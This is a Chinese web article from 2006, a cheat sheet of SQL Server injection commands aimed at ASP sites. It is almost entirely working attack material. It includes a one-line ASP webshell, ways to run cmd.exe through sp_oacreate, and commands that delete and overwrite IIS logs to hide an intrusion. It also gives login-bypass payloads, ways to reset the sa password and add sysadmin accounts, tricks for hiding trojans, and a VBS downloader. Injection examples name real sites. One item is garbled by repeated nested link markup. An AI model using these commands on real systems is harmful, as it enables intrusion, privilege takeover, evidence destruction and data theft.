| 网站首页 | | 网站简介 | | 公司新闻 | | 公司业务 | | 技术相关 | | 安全相关 | | 网络文章 | | 网站论坛 | | 典型案例 | | 客户留言 |  
 首页 >> 技术相关 >> ASP技术

一些有用的ASP注入相关的命令


[日期:2006-3-2 16:11:05] [作者: 管理员] [字体大小:

1、     master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
用^转义字符来写ASP文件的方法。

2、     and 1=(select @@VERSION)
显示SQL系统版本:
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、     我在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。

4、     and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
判断xp_cmdshell扩展存储过程是否存在。

5、     user test ptlove /add'
向启动组中写入命令行和执行程序

6、     ()
查看当前的数据库名称Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、     列出当前所有的数据库名称:select * from master.dbo.sysdatabases

8、     不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\test.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下两种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、    用UPDATE来更新表中的数据:
<a href='<a href='<a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html</a> upload.dbo.admin set pwd=' a0b923820dcc509a' where username='www';--
www用户密码的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1

10、     利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

10、创建表、播入数据和读取数据的方法
&#61548;     创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
&#61548;     往表里播入数据:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
&#61548;     从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--

&#61548;     删除临时表:
';drop table cyfd;--

12、通过SQL语句直接更改sa的密码:
&#61548;     update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

&#61548;     查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

&#61548;     更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'

13、查询dvbbs库中所有的表名和表结构
&#61548;     select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
&#61548;     select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—

15、添加和删除一个SA权限的用户test
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17、
&#61548;     (where id=1234)
列出rdweb库中所有表中的字段名称
&#61548;     select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名

18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978

19、绕过登录验证进入后台的方法整理:
1)' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1

20、寻找网站路径的四种方法
1)查看WEB网站安装目录命令:
&#61548;    cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件

2)在网站上随便找到一个图片的名字 123.jpg
然后写进批处理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

执行后 type c:\123.txt
这样来分析网站的路径

3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?
将执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意输出前Backup这两个文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来访问:http://目标ip/2.asp

4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003系统:xp_regread读取,未找到利用方法
如:
(1)    新建一个表cyfd(字段为gyfd): table [dbo].[cyfd]([gyfd][char](255))--
(2)    把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3)    还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面
regedit命令说明:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。

regedit /s c:\adam.reg 导入c:\adam.reg文件至注册表
regedit /e c:\web.reg 备份全部注册内容到c:\web.reg中
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目标IP/2.asp
针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论


6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。

7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
&#61548;    建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost  -w "l" -v "win","c:\winnt\system32"' 
&#61548;    让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute  "true" –s:'
&#61548;    删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
&#61548;    测试:


21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs  set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll

查看是否成功:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
inprocessisapiapps              : (LIST)  (6 Items)
  "C:\WINNT\system32\idq.dll"
  "C:\WINNT\system32\inetsrv\httpext.dll"
  "C:\WINNT\system32\inetsrv\httpodbc.dll"
  "C:\WINNT\system32\inetsrv\ssinc.dll"
  "C:\WINNT\system32\msw3prt.dll"
  "c:\winnt\system32\inetsrv\asp.dll"

22、如何隐藏ASP木马:
建立非标准目录:mkdir images..\
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问ASP木马:
如何删除非标准目录:rmdir images..\ /s

23、去掉tenlnet的ntlm认证:
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--


24、用echo写入文件下载脚本iget.vbs:
(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs

(2)c:\>cscript iget.vbs dbm6.asp

25、列出所有数据库名称:
select * from master.dbo.sysdatabases   列出所有列的记录
select name from master.dbo.sysdatabases  仅列出name列的记录

26、手工建立IIS隐藏目录的方法:
&#61548;    查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
&#61548;    新建一个kiss目录:mkdir c:\asp\kiss
